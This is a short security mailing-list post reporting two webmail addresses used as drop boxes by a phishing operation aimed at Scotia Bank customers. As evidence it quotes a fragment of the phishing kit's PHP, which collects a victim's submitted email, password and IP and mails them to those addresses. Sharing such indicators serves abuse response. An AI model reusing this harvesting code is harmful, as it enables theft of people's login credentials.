[nsp-sec] phishing dropboxes at gmail.com / hotmail.com

[Rodolfo Baader]

Hi!

while investigating a phishing case, we've found the followings drop boxes:
 hotmail -> "anny_cole1 at hotmail.com"
 gmail   -> "talk2booss at gmail.com"


Evidence:
==============================================================================
(...)
$message .= "Email Address: ".$_POST['email']."\n";
$message .= "Email Password: ".$_POST['pass']."\n";
$message .= "IP: ".$ip."\n";
$message .= "-------GreenChiefO-------\n";
$recipient = "anny_cole1 at hotmail.com,talk2booss at gmail.com";
$subject = "Scotia Bank";
$headers = "Scotia";
(...)

==============================================================================

Regards,
R.